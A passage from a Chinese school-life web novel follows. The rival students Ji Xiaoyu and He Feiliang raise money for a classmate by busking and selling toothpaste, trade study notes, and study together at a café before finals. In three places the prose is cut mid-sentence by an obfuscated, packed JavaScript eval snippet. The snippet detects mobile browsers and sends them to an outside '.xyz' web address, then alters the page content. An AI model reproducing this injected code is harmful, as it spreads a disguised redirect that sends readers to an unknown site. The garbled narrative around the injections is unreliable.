但是还好,老同学很快就拉着何非亮磕磕巴巴地自我介绍了起来,“男、男神,你好!很激动认识你!我叫夏婵,夏天的夏,婵娟的婵。我是高二E班的!久仰你很久了!” “你好。”何非亮礼貌地点头,声音藏着一点细致的温柔,“我知道你。你昨天也唱了歌,对吗?就在小鱼他们的前一个节目。” “啊、对!”夏婵仰着头,眼睛忘了眨,似乎不敢相信何非亮竟然说记得她。 “你刚才唱那个什么……听起来好像……”纪小鱼眨着眼睛,他依稀记得自己好像在哪本书里读到过,“歌声里的阴晴、歌词里的曲折,藏着歌者晦暗的心情”,而刚才的歌声是那么的伤心,歌词听上去也有点难过,于是忍不住热心肠地问道,“有人欺负你吗?需要帮忙吗?我打架也很厉害的!” “呃,不是,不是,你误会了!我啥事也没有!这歌词纯属我瞎编的!”夏婵连忙否认,她指了指吉他琴盖上摆放着的两个收款二维码,有点别扭地小声说道,“我就是想着唱这种伤感一点的歌,也许可以多筹一点钱。” “好吧。”夏婵感觉自己的脸有点烫,她扶了扶自己粉框的眼镜,不好意思地笑了一下,“这两首歌本来是准备拿来在艺术节唱的,可我临报名前还是忍痛换成了别的……因为怕张校长等下觉得这歌不够正能量,找我谈话就惨了。可是准备都准备了那么久,不能在学校里唱,在公园里唱也是一样的,能帮忙筹到一点钱的话,也不算浪费了……” “筹钱?”纪小鱼听见夏婵两次开口都提到了这个意思。 “嗯,是这样的。我们班有一个同学家里遇到了一点困难,好像是妹妹要动手术,可是没有足够的钱。我听我们班主任说完,就想,也许——多少能帮一点呢?呃……那个……我是E班的班长嘛,做这些也是应该的。不过就算我不是班长我也会这么做的……唉,我那个同学他其实是一个很好的人……” 纪小鱼抿抿唇,“哦,我好像知道你说的是谁了。” 嗯……等期末考完,放寒假了,他就继续那个在医院的义工活动。顺便,去看看林茉茉怎么样了…… “有收获吗?”何非亮难得地开口关心了一下。 “有吧。”夏婵忸怩地从口袋里拿出了两个小小的砂糖橘,“一个买菜回来的老奶奶送我的。” 沉默了一下,夏婵突然说,“我有点肚子疼,想去下洗手间。你们能帮我看一下吉他吗?” “当然可以!”纪小鱼爽快地答应了。 61.第六十一章 爱心牙膏 又只剩下了纪小鱼和何非亮两个人,他们并肩站着,有那么一瞬间不像是宿敌,倒像是朋友了。 一点微风懒懒地经过,带着点被太阳曛过的暖意,吹得纪小鱼的鼻尖痒痒的,他突然间不知道要说什么了,心里原本那熊熊燃烧的敌意,也仿佛被安抚了下来。 还是何非亮率先打破了沉寂,他温和地开口道,“我们也来帮忙吧?” “那还用你说!”纪小鱼自顾自地上前拿起了夏婵放在长椅上的吉他和拨片。阳光从树叶的缝隙中筛下,映照着他认真专注的眉眼。 小时候他就仗着老师的喜欢,把琴行里琳琅满目的乐器都摸索了遍,吉他自然也不在话下。只有各式各样的管乐器逃过了一劫,连试也没试,因为那些要用嘴吹。 今天是圣诞节,在西方这是一个重要的节日,象征着新一年的开始。纪小鱼轻扫琴弦,从脑海的音乐库中下载了坂本龙一的《Merry Christmas Mr. Lawrence》。几个清澈的音符流淌而出,像湖水里银色的星星。有温柔的风吹皱了闪闪的湖面,湖里的星星也跟着摇曳。 有两个小孩似乎被音声吸引,在灌木丛后探头探脑,却不敢上前。 何非亮坐在他的旁边,安静地听纪小鱼弹完了前奏,笑着说,“这首歌很好听。不过,还是先换一首接地气点的吧。” “啊?”纪小鱼愣了愣,一时没反应过来,“你说什么?接地气的?接什么地气的?” 他不是不明白什么叫“接地气”,而是对该用户提出了该种需求表示非常的不可思议,甚至严重怀疑是自己的耳朵坏了。 真的假的哦? 何非亮这家伙平时不是恨不得坐在云里么,怎么突然间想着下凡了? 呃,如果不是没听清的话,那就应该是自己理解错了。可能——可能他说的“接地气”和我想的不太一样,是一个别的什么意思? 纪小鱼眨了眨眼睛,“要不——你举个例子?” “嗯……”何非亮沉吟了一下,“大概就是‘恭喜你发财’之类的。” “啊???” 纪小鱼心尖一颤,握在手里的琴差点没拿稳。他震惊地抬起眼,一动不动地注视着身旁的何非亮,想看看他是不是被夺舍了。 然而——啥也看不出来呀!老师没教! 何非亮的眼睛仍然和平时一样,看不出什么异常,澄澈、明净,眸光流转的深邃之处隐隐藏着点暗昧的笑,似乎在酝酿着什么坏点子。他的瞳仁里倒映着纪小鱼吃惊的脸—— 呃…… 纪小鱼觉得何非亮眼睛里的自己看上去有点傻。不过,也有可能,何非亮一向就是这么看待他的。 好气哦! 咳咳,好吧,这不是重点! 纪小鱼暂时决定要做一个情绪稳定的人,他试探地弹出了《恭喜发财》中的几个音节,声音有点发颤,“是、是这首么?” “嗯。”何非亮点头,“你要是能边弹边唱就更好了。” 纪小鱼:“……” 何非亮:“你会吗?” “会!”纪小鱼咬牙,“不过——我有本事唱,你有本事别走!要丢脸一起丢!” “我不走。”何非亮向他保证。 欢欢喜喜的音乐响起,立竿见影地便吸引了许多人来。 有人在那里“恭喜你发财”呢,怎么能不去凑个热闹呢?沾沾喜气也是好的呀! 走近一看——哎呦!唱歌的好帅哦! 再一看——哎呦!不得了!旁边还有一个更帅的!!! 于是,不一会儿,纪小鱼和何非亮的身边便围满了人。 何非亮趁机站起身来,纪小鱼以为他要逃跑,手一抖,差点弹错一个音。他急忙朝何非亮望去,试图用目光把他拽住,却发现何非亮并没有走,而是不慌不忙地从手里的纸袋里拿出了一盒牙膏。 那纸袋上不知道什么时候被写上了几个大字——“爱心牙膏,义卖募捐;价格不定,全凭心意”。 “小伙子,”站在前面的一个老奶奶问,“这个牙膏多少钱?” “您愿意付多少钱都可以,”何非亮彬彬有礼地回答,“我们会将所得的款项全部捐献给学校里一位有需要的同学。” “行,”老奶奶笑眯了眼,成为了他们的第一个客户,“那给我拿一个吧。” “好的,谢谢您的支持。” “我认识他!我认识他!”一个穿着玫瑰色红裙的少女拉着同伴从人群后挤进来,“他是隔壁S中的校草——何非亮!噢,今天是什么运气哦,竟然在这里遇见了他!天啊,真人比照片上还要帅!你好,我们要、要两盒牙膏可以吗?” “好的,谢谢您的支持。” 还有人伸过手机上扫码付过款的界面给何非亮看。 何非亮笑着摇摇头,“没事,不用给我看。牙膏您拿好。” “我看他的牙齿挺白的。这牙膏应该挺靠谱的。”那声音骤然间又拔高了几度,变得更加宏亮了起来,“诶、诶,帅哥,我付好了,给我拿一盒!” 纪小鱼眼角的余光注意到了何非亮礼貌的笑容似乎有那么一瞬间颤抖了一下,但他还是把牙膏递过去,认真地说,“好的,谢谢您的支持。” “给我一盒!” “给我也拿一盒!” “我也要一盒!” …… 袋子里的牙膏一盒一盒的少了下去,俨然有供不应求的趋势。四面八方都不住传来手机扫码成功的“嘀嘀”声。 嘿嘿! 纪小鱼的脸上也洋溢起了笑容。 原来何非亮打的是这么一个主意啊!还不错、还不错! 一曲完毕,纪小鱼开开心心地又弹唱了一首《铃儿响叮当》,吸引了许多小朋友拉着妈妈来围观。很快,又是一曲完毕,纪小鱼越唱越起劲,兴致大发,干脆就着家喻户晓的新年热歌《迎春花》的调子,自编自唱了起来—— “ 好一支牙~膏家家都需要 好一支牙~膏送来健康和祝福 好一支牙~膏护龈又美白 新一年有好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206864|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙 更有好胃口 牙膏刷牙 迎来了新一天 牙膏刷牙 睡前也不能忘 有了好牙 吃嘛嘛香 万事如意没烦恼 ……[1]” 这任谁看了,都要说一声——天啊,太牛了!这不是销冠谁是销冠!!! 很快,牙膏就全部卖完了,纪小鱼和何非亮的义卖活动大获成功。 哦耶! 但各位观众朋友们都舍不得走,他们的眼睛纷纷黏在了纪小鱼身上,满怀着期盼,似乎在等着看他还能唱出什么花样。在众人灼灼的目光中,纪小鱼只觉得一张脸越来越烫。 一曲唱罢,他十分不好意思地站起身向大家鞠躬感谢,然后便抿着唇,无辜地睁着眼,傻呵呵地坐着不动了。见他不肯再唱了,大家这才依依不舍地散去。 何非亮坐回到了公园的长椅上,冰凉的面具显现出了一丝裂痕。那裂痕越扩越大,俨然有止不住的趋势。他双手捂着脸,终于忍不住弯着腰笑出声来。 认识这么多年,纪小鱼还是第一次看见何非亮笑成了这样。 “小鱼,”何非亮的肩膀仍然一颤一颤的,“你真是太有才华了。” “是、是你说,要接地气的嘛!”纪小鱼有点尴尬地搔了搔脸,“哎呀、哎呀……诶?” 他注意到了纸袋里孤零零地还躺着一盒牙膏,连忙戳了戳何非亮,问道,“这里面怎么还有一盒牙膏没卖掉啊?你刚才没看见吗?” “哦,这个不卖。”何非亮从口袋里掏出自己的手机,一边扫码付款,一边说道,“这个是我要留下来做纪念的。” 正在这时,只见夏婵慌慌张张地从远处跑来,“不好了!不好了!我的手机坏了,突然间就多出了很多钱!好、好多人给我打钱!哎呦,又进来了一笔!” “天、天呐!”夏婵像是被手机上的金额吓坏了,整个人直接呆立住了。她揉了揉眼睛,再三确认了自己没有看错,从嗓子底挤出了一点似惊叫又似呜咽的声音,“怎么会这么多!” 纪小鱼笑了,“嘿!好多人给你打钱,不是好事么?怎么反而说‘不好了’。” “嗯。”何非亮也帮着说,“应该说‘太好了’。” 夏婵愣了愣,醒悟过来,“是——是你们干的?” 她瞅了瞅架在纪小鱼腿上的吉他,又看了看手机上的进账,惊讶得简直要喘不过气来了,“天、天啊!你、你……纪小鱼,刚才是、是你在唱歌吗?你、你唱了什么歌,能、能再唱一遍吗?” 纪小鱼拼命摇头,老脸暗自一红,“没、没什么。” 刚才唱的时候不觉得,现在那个冲动的劲头过去了,他只觉得心里又被抓又被挠,也不知道是尴尬更多还是羞耻更盛,总而言之——城墙厚的脸皮也快要遭不住了。 夏婵仍然是一副被震撼到目瞪口呆的样子。 “啊哈哈哈哈!我们还有事情!”纪小鱼生怕夏婵再请求他把刚才唱过的歌再唱一遍,连忙站起身来,一并把何非亮也抓着开溜,“那就先告辞了哈!拜拜!” 62.第六十二章 数学笔记 悔改吧,期末考试的日子近了! 艺术节告一段落,宣告着最后狂欢的谢幕。 星期一下午的班会课上,严老师郑重地宣布,期末考试将于一月九日举行,也就是下下周的周一。这么说来——期末考试离今天只剩下短短两个星期了! 这对于蒋小胖来说无疑是一个惊悚的消息,他被吓得直打嗝,“惨了!嗝~完了!嗝~我完了!嗝~”他的同桌好心地提醒他要不要喝一点水。 在一片哀鸿遍野中,纪小鱼好像一只格格不入的喜鹊一样扎眼。他听到了要考试的消息以后,嘴角竟然浮现出了笑容。 “啊,真快啊!”纪小鱼微微感慨,他深吸了一口气,攥紧了双拳,眼睛里闪烁着斗志满满的光芒,心里想,“嗯,一学期就要过去了,又到了检验成果的时刻!这一次,我已经做好了万全的准备,可不能再输给何非亮了吧……” 严老师继续在讲台上大谈特谈考前心态的重要性。可有的同学明显已经被突如其来的焦虑侵扰得听不下去了,他们争分夺秒地偷偷摸出题做了起来。 纪小鱼悄悄地瞅了瞅何非亮,发现他没有在认真听讲,也没有在认真写题,而是无聊地拿着自来水笔在草稿纸上涂涂画画。 那线条七扭八弯的,中间还寥寥勾出了一个人形的轮廓,纪小鱼乍一看以为他要画的是爱德华·蒙克的《呐喊》,笑容浮现在了嘴角,却只见何非亮又在画作上多添了两笔,这才看出来了他是在画一个在公园里弹吉他的少年,笑容顿时又收敛了。 神经病啊! 哦~我懂了!何非亮这是在搞我的心态!真是太阴险了! 纪小鱼在心里暗骂了一声。转过头,继续去听严老师怎样讲“良好的心态是成功的一半”以及接下来一环扣一环的“如何建立良好的心态”了。 …… 在考试的威压下,A班学习的风气焕然一新。平日里再不爱学习的同学,也收起玩心,开始埋头看书写题了。对他们来说,这一个学期的知识可不就得靠这最后两个星期来学吗?临阵磨枪,不亮也光!总得想办法过个好年吧! 逝者如斯夫,不舍昼夜[1]。 一天过去了,又是新的一天。有的课已经开始了总复习,有的课还在赶进度。体育老师一病不起,只在课间操的时候打起精神指挥一下队伍的秩序。每天都会下发一叠一叠还带着油墨味新印好的资料,带了订书机的同学忽然就成了班级里的宠儿。 这次期末考试是九校联考,参与的都是全省有头有脸的名校,学校自然是分外的重视。平时考试成绩要是不理想也就算了,但俗话说得好——“家丑不能外扬”,这种联考,赌上的同时也是学校的脸面,张校长是发了话要力争第一的。考试成绩与各科老师年终的评优评先以及绩效奖金密切挂钩,于是老师们在这种压力下也都有了那么点儿的胆战心惊。 日子一格一格地在日历上往后跳。平淡如水,又暗流涌动。 没想到,就在星期四的晚自习前,蒋小胖突然发病了。他痛苦地抱着头,转身和纪小鱼诉苦,“小鱼救我!我得了不能够学习的病!我一看书,脑袋就嗡嗡的。” 啊? 什么?还有这种事? 哎呀呀,小胖竟然在考试临近关头得了这种怪病?这实在是再惨不过了! 纪小鱼递给了蒋小胖一个十分真挚的、充满同情的眼神。他伸出两根手指,虚虚地搭在了蒋小胖软绵绵的手腕上,“来,你先别慌,我来帮你把个脉,看看这病能治吗。” “我感觉难!”蒋小胖愁眉苦脸地补充说明着自己的病情,“唉,大夫,我这病,不仅新的知识学不进去,就连旧的知识也忘记啦!唉,怎么学也学不进去,头疼啊!” “嗯,热邪炽盛,火毒上攻。呀,这是急火攻心之症啊!”纪小鱼老神在在地收回了自己把脉的手,转而捋着自己不存在的胡子,“小胖啊,你太上火啦!” “啊?” “需得服用凉茶一杯,平心静气。” “嗯嗯!”蒋小胖认真地听着,“我等会就去买!” “还得找到学习的方向,以治根本。” “什么学习的方向呢?”蒋小胖一听到“学习”这两个字,脑袋又开始“嗡嗡”的了,他痛苦地抱着头,哀嚎着说,“呜呜呜,我找不到了!没有时间了!两个星期怎么可能学完全部的东西呢?噢,两个星期都不到了!” 蒋小胖瞟了一眼黑板角落上书写的倒计时,脸上露出了沮丧又难过的神情,“今天快过完了,今天过完了就只剩十天了,学不完了、学不完了……呜呜呜,我好焦虑!” “对啦,焦虑往往就是因为没有方向。”纪小鱼一边解释道,一边热心地从抽屉里把自己各科的笔记本都一本一本地掏出来,递了过去,“这里边有我总结的各科精华和重点。每本的最后几页,还附上我依据历届真题以及考试大纲亲自出的押题宝典。你拿去,细细研读一遍,保证事半功倍。” “神医啊!”蒋小胖突然感觉到大脑一阵清爽,由衷地夸奖道,“谢谢您!我感觉我的病一下子就好一半了!” 纪小鱼欣慰地点点头。 “不过,”蒋小胖虚心地把除数学以外的其他笔记本暂时退还了,“我一下子看不了那么多,我先只看数学好了!” 等小胖转过身去了以后,纪小鱼反而自己在心里叹了口气。 唉,考试之前,其实吧,有那么一点空虚的感觉。 上个月,他就已经把全部知识点复习得滚瓜烂熟了。笔记本可以随便借,也是因为那上面随便抽一页,他都已经能够完全背诵默写了。 哎呀,思来想去,还是继续刷题巩固、保持手感吧。 没想到,一向不怎么理人的何非亮反而侧过头来搭话,“小鱼,借我看看你的生物笔记呗。你生物学得最好了。” 纪小鱼虎着脸,“不借!” 何非亮眉梢一挑,“我可以借你我的,你要哪一科的都行。” “呃……”纪小鱼坚定的意志受到了利诱的销蚀,他艰难地咽了口唾沫,同意了,“行、行吧。那你先给我看你的语文笔记吧。” “抱歉,语文没有笔记。” “那英语呢?” “英语也没有。” “呵呵,”纪小鱼的嘴角扭出了一个不太友好的弧度,“那你有哪科的笔记?” 何非亮从抽屉里拿出了两个薄薄的活页本,“呐,这本是记数学的;这本物理、化学、生物都在一起。” 纪小鱼不由分说地把这两本笔记都抢了过去。这样以后,才有点不情不愿地也把自己的生物笔记抽出来递给了何非亮。 呼!终于、终于拿到了何非亮的笔记本! 纪小鱼有点紧张,他先翻开的是何非亮的数学笔记本。 只见笔记本的扉页一片空白,只有中间写有两行漂亮的花体字—— “ Wir müssen wissen, Wir werden wissen. [2]” 纪小鱼:“???” 他戳了戳何非亮的胳膊,不懂就问,“这是什么意思?” “哦,这是德语,”何非亮尽职尽责地进行着售后服务,“意思是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214211|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘我们必须知道,我们将会知道’,这是数学家大卫·希尔伯特刻在墓碑上的话。” “哦。”纪小鱼讪讪地应了一声,心里暗自诽谤——在数学笔记本上写人家墓碑上的话干什么?多不吉利啊。搞得好像有一种“数学已死”的感觉。 再翻看下一页,赫然便是必修一第一章集合的内容。何非亮在上面画满了各式各样的图。 纪小鱼心里暗笑——噢,集合,那不是常识么?哪里来的那么多笔记好做? 再仔细一看,只见文字的第一行里写道,“数学形态学的语言是集合论,集合表示图像中的对象。” 纪小鱼:“???” 再然后,便是什么“腐蚀”、“膨胀”、“开操作”、“闭操作”、“击中”、“不击中”、“凸壳”、“细化”、“集水盆”、“分水岭”之类的东西……每一个概念都细致地配上了各式各样手绘的图片,有的是方格里莫名其妙的阴影,有的是一个大三角形里画了七个小圆圈、有的是几个不规则的锯齿状图形、还有的是奇形怪状、凹凸不平的盆地…… 纪小鱼的脑袋自动开始运转,试图去破解笔记上面的内容。但很快就收到了自己脑细胞死伤无数的战报。 啊!我的头好疼啊! 纪小鱼觉得自己脑袋“嗡嗡”的,还附带了太阳穴“突突”地跳。 哎呦,救命啊!这个笔记本上莫不是有什么头痛症的病毒吧!!! 呼,烦死了!就知道何非亮这么大方地借笔记,肯定没安什么好心! 全是些……搞人心态的东西——考试又不考,记这些干嘛!等会害我记到了超纲的内容,考试时不小心用上了还要倒扣分呢! 纪小鱼气恼地把何非亮成事不足、败事有余的笔记本还了回去,顺便也把自己朴实可亲、平易近人的笔记本抢了回来。 “诶,小鱼,”何非亮眨了眨眼睛,嘴角流露出了一丝狡黠的微笑,“我才刚看到生态系统的营养结构呢,再给我看看呗。” “滚滚滚。”纪小鱼按揉着自己的太阳穴,愤恨地说。 “那好吧。”何非亮似乎是叹了一口气,他倚着胳膊趴了下来,眼睛半睁半闭,懒懒地看着自己右手的掌纹发呆,不一会儿就好像沉沉地睡过去了。 纪小鱼深吸一口气,忍住了自己在何非亮的脸上画乌龟的冲动。他强迫似的使自己沉下心来,专注地把数学错题本上的错题,蒙住答案,又一道一道地重新做了一遍。 第二节晚自习,何非亮像是醒了。他起身在班里的图书角晃荡了一圈,安静地挑了本厚实的书,便拿回座位上津津有味地读了起来。一节晚自习结束,那本书也就快看完了。 下课铃声终于打响。纪小鱼毫不客气地伸手把何非亮手里的书半合上,看那封面上的字——《追忆似水年华第一卷》。 纪小鱼压制住了心头不知道从哪里来的怒火,问道,“这个好看吗?” “还行。不过,”何非亮诚恳地补充道,“不是考试之前应该看不下去。” “真搞不懂你!”纪小鱼皱着眉头嘀咕道,“马上都要考试了,你为什么不学习呢?” “没办法,”何非亮半带无奈,半带惆怅地看着纪小鱼,“考前除了学习,什么事都变得那么有趣。” “噢!那我倒是和你相反呢!”纪小鱼酸溜溜地朝何非亮翻了个白眼,阴阳怪气地开口道,“我考前,什么事都变得无趣,除了学习——拜你所赐!” “哦,是吗?”何非亮懒洋洋地打了个呵欠,“那你周末要不要和我一起学?这样你可能会比较有动力?” 纪小鱼:“……” 63.第六十三章 一起学习 纪小鱼自己也不知道自己为什么就这么鬼使神差地答应了何非亮的提议。 他在来的路上有想过这是不是一场“鸿门宴”,想来想去,不知不觉人就已经按照地图上指示的路线走到了约好的地点。何非亮到得比他早一些,他在明亮的阳光下和纪小鱼招了招手。唉,这下再想要逃走的话就好像有点来不及了。 总之,不管中间经历了怎样的心理活动,结果就是,纪小鱼在星期六的早上八点,元旦三天小长假开始的第一天,按照约定好的时间,准时地出现在了何非亮推荐的一间咖啡厅里。 大多数咖啡厅的光线都是昏沉而暧昧的,并且空气中浮动着在人心尖挠痒痒的爵士乐。这家咖啡厅格外不同,内部的设计相当简洁,简洁到甚至显出了些许恢弘和空旷的意味——白色的大理石砖墙、敞亮的光线、流线型的吧台、寥寥几张摆放稀疏的桌椅,最引人注目的是店里巨大的落地窗,它像框着一幅画一样框住了窗外蔚蓝的海。 如果非要说店里面有什么装饰的话,那大概是坐在窗边的何非亮了。只见他左手的胳膊肘松松懒懒地支在桌上,手里捧着本薄薄的历史课本,右手食指和中指缝之间闲闲地夹着一支笔,也许是看到了近代史的部分,他的身上浮现出了些许忧郁的气质。 和煦的阳光落在他的脸上,雅致而匀净,就好像是在上好的白瓷上又多涂上了一层光润轻薄、晶莹细腻的釉,使他整个人更有了一种恍如美玉的质感。 纪小鱼一直很好奇——何非亮这人总喜欢坐在靠窗的位置上,为什么阳光不仅没有把他晒黑成一块炭,还好像违反常理地把他越晒越白了?啧,这难不成是什么妖术么? 不过,他今天倒是有那么一丁点在复习的样子了。 “噢,谢天谢地!”纪小鱼话里带刺地说,“你终于开始学习了!” 何非亮的视线从课本上移开,目光里那一点灰暗的云翳散去,似笑非笑地落在了纪小鱼的脸上,“还不是为了激励你多学一点。” 纪小鱼酝酿好的一些尖酸刻薄、不怀好意的话被硬生生地堵在了喉咙间——他本来想嘲笑何非亮是不是慌了。 “你看,”何非亮摇晃了一下手里的课本,“我开始学习了。” “嗯……?” 何非亮弯起眼睛,眸光里隐藏的笑意似乎更深了些。他用一种故意要寻衅滋事的语气,反问道,“你慌不慌?” “呵呵……”纪小鱼掐住了自己的双拳,气愤地咬着牙,“慌……慌你个头!” 果然,先下手为强,后下手遭殃!这话被何非亮先问出来了,自己就好像吞了一口苍蝇一样怎么样都不舒服。好气哦! 嘿!烦死了!先刷一套化学题冷静一下! “把何非亮放入试管中……” 一起来的还有蒋小胖。也许是因为书包太重了,他来得迟了一些。只见他的书包里塞满了各种各样的资料,有这周才发的,也有上周就发了但还没来得及写的,还有不知道什么时候发的——想看没空,不看心慌;收着占地,弃之可惜。他把所有的资料都一把掏了出来,在桌子上摞成了高高的一座灰绿色的小山。 事情要从昨天下午放学回家前说起。蒋小胖正收拾着书包,突然间就萌生了一股雄心壮志,觉得自己在这个元旦三天小长假里,一定能够把这些资料全部看完!纪小鱼被蒋小胖难得的斗志感动了,便也邀请他今天一起来了。 一见面,蒋小胖就提前预约好了纪小鱼常用的一支水笔,说是要在考试的时候借过来沾沾灵气,以此在考场中分享某些脑细胞玄虚的共鸣。 纪小鱼爽快地答应了,并且怀揣着一点小小的得意,开心地问蒋小胖为什么不去找何非亮借。蒋小胖捏着手指不好意思地解释——如果在考场他拿的是学神哥哥的笔,可能会紧张地手发抖写不出字,或者直接激动地晕过去。纪小鱼听完后便又肃然不笑了。 反倒是何非亮从嘴里漏出一声嗤笑。 “喂,有什么好笑的!”纪小鱼瞪视过去。 “有啊,这呢。”何非亮手里的书不知什么时候已经换成了地理必修一。他指着课本上的一张插图,无辜地说,“你看,这里配的图是从《西游记》电视剧里截的。喏,你看,这山上,唐僧、孙悟空、猪八戒……” “诶,有吗?”蒋小胖惊奇地凑上前去看,竟然真的顺着何非亮的指尖在地理课本上看见了微如黍米的唐僧师徒,惊讶得合不拢嘴,“哇!还真的有耶!学神哥哥你好厉害啊!你的眼睛是显微镜吗?这么小的东西都能看见?” 纪小鱼恶狠狠地打断了蒋小胖的吹捧,“蒋小胖,你到底是谁的朋友!假如我和何非亮同时掉进水里你救谁?” “啊?这个……”蒋小胖不好意思地挠了挠头,“对不起呀小鱼,我不会游泳,你还是让学神哥哥救你吧!” “我不是问这个!!!” 纪小鱼吐血ing…… 在这样莫名其妙的氛围里,唯一能让纪小鱼感到些许欣慰的,大概是自己今天学习的效率异常之高吧。甚至学着学着,还有那么一点学到走火入魔、浑然忘我的境界。 每当他稍有一点懈怠之心时,只要咬牙切齿地抬头看一眼何非亮,立马就能像打了鸡血一般重新振作起来。 好气哦!这一次期末考试的第一名,我还非要不可了!!! 对,等我拿了第一名以后,蒋小胖一定能够痛改前非,认清谁才是所谓的“学神”,醒悟谁才是他值得尊敬的朋友! 啊! 手中笔化心中剑,刷题就像在修炼。 待我百炼至圆满,定叫何非亮丢脸! 对对对,让他丢脸,让他傻眼,让他——颜、面、扫、地! 嘿嘿! 蒋小胖傻乎乎地问道,“小鱼,你为什么盯着学神哥哥傻笑?” “哪有?”纪小鱼板正面孔,“我刚才只是做到了一个比较有趣的题目而已。” 充满了战意的纪小鱼继续低头刷题,他觉得自己好久都没有这样好的状态了! 每道题只要在脑海里蜻蜓点水地一过,就立马有了清晰的思路。一道道题从他的笔尖毫无滞涩地扫过,这种感觉实在是畅快无比! 啊! 有志者,事竟成,破釜沉舟,年级第一当属我! 苦心人,天不负,卧薪尝胆,一根黑笔可称雄![1] 何非亮,你等着瞧吧! 哈哈! “咔嚓!”蒋小胖的手机传来一声响,他兴冲冲地举着手上的照片囔囔道,“小鱼,你明明就有!你看我都拍下来了!你看,你这不是正对着学神哥哥笑么?” 纪小鱼:“???” 何非亮:“……哦?” 纪小鱼:“快删掉!” 何非亮:“发给我。” “好嘞!”明明他们俩几乎是同时开的口,但蒋小胖却好像偏偏只听见了何非亮讲话一样,“发了!” “啊啊啊啊啊!!!”纪小鱼觉得自己要抓狂了,一个邪恶的计划在他的心头浮现。 他高深莫测地掐着手指,嘴里念念有词,“甲、乙、丙、丁、戊、己、庚、辛、壬、癸……” “哦,小鱼!”蒋小胖耳朵一动,“我知道!你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16240418|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些是古代那十个天干的名字对吗?我好像《易经》里面有看到过!你在算命吗?帮我也算算呗!” “不的。”纪小鱼摇摇头,认真地纠正道,“如果一个高中生嘴里神神叨叨地数着这些,他大概不是在算命,而是在看烷烃里有几个碳原子。一个碳原子是甲烷,两个碳原子是乙烷,三个……” “等等!”蒋小胖抽了抽鼻子,纠正道,“不是高中生,而是理科生。” “咦?”纪小鱼奇怪道,“文科生不也要学化学么?不然学业水平考试怎么办呢?” “对不起,我完全忘了还有学业水平这回事了!”蒋小胖被击中了软肋,泪眼汪汪地哭道,“救命啊,我上高中以来就再也没有听懂过一节化学课了。我想,我实在不配做一个全面发展的高中生。” “放轻松,放轻松,不会就不会,哪有那么严重呢。来,喝口咖啡吧。”纪小鱼拍了拍蒋小胖的肩膀表示安慰,一边端起咖啡喝了一口,缓缓开口道,“咖啡酸具有止血、镇咳、祛痰等疗效,其结构简式为……[2]” “结构简式?噢、不!”蒋小胖的表情好像听到了什么很恐怖的鬼故事一样,他颤抖地端起自己的咖啡,哭丧着脸哀求道,“小鱼,我喝!我喝!你快别念了!我脑袋又开始嗡嗡的了!” “从现在起,专心学习!不许看我有没有笑,也不许夸何非亮!保持安静!”纪小鱼凶恶地威胁道,“不然我就要把我做的每一道化学题,都念给你听……” 蒋小胖双手捂住了嘴,委屈巴巴地点头。 …… 就这样相安无事地又快速地过完了八套化学试卷,纪小鱼突然看见了这么一道题,“有报道说,在某商家的新奥尔良烤翅中发现有苏丹红一号。苏丹红一号的结构简式为……[3]” 什么?烤翅! 纪小鱼摸了摸自己瘪瘪的肚子,忽然感觉到了里面一阵空虚。果然,到了要吃中午饭的时间了。 “我饿了。”纪小鱼提出了自己的诉求。 “要不就在这里吃吧。”何非亮提议道。 “好耶!我饿很久很久了!”蒋小胖听到要吃东西了,立即放下手里的资料,愉快地作出响应,这样以后又像是突然想起了什么,害怕地看向纪小鱼,“我、我可以说话了吗?” “可以了。”纪小鱼的语气缓和了下来,“现在是休息时间。” 何非亮朝纪小鱼眨了眨眼睛,像是在埋怨——瞧你吧小胖吓成啥样了。 纪小鱼严肃地朝何非亮睨了回去——有你的一部分原因! “行吧,那我们就在这吃吧。”纪小鱼在心里默默地叹了一口气,顺手把桌子上插着的菜单平摊在了桌上,“来,一起看。” 最后,何非亮想点的是香煎三文鱼和牛油果虾仁沙拉,纪小鱼决定点最便宜的芝士纯素意大利面,蒋小胖打算要招牌牛肉汉堡和薯条。 下单之前,何非亮随口提起,他推荐这家咖啡厅的原因是,这家店是他的某个表哥开的,在这里吃东西可以打一折。 什么?一折!? 喂! 纪小鱼气恼何非亮为什么不早说,果断地把自己的芝士纯素意大利面换成了黑松露龙虾意大利面,还兴高采烈地给自己加了一个巧克力慕斯蛋糕。 哇,好好吃哦!(o^^o) …… 午后的时光温柔又短暂、简单又充实。不知不觉,日影偏斜,渐入黄昏,又到了该回家吃晚饭的时候了。 临分别之际,何非亮问,“你们明天还想来吗?” “想!”纪小鱼和蒋小胖异口同声地说。 64.第六十四章 期末考试 期末考试终于来了。 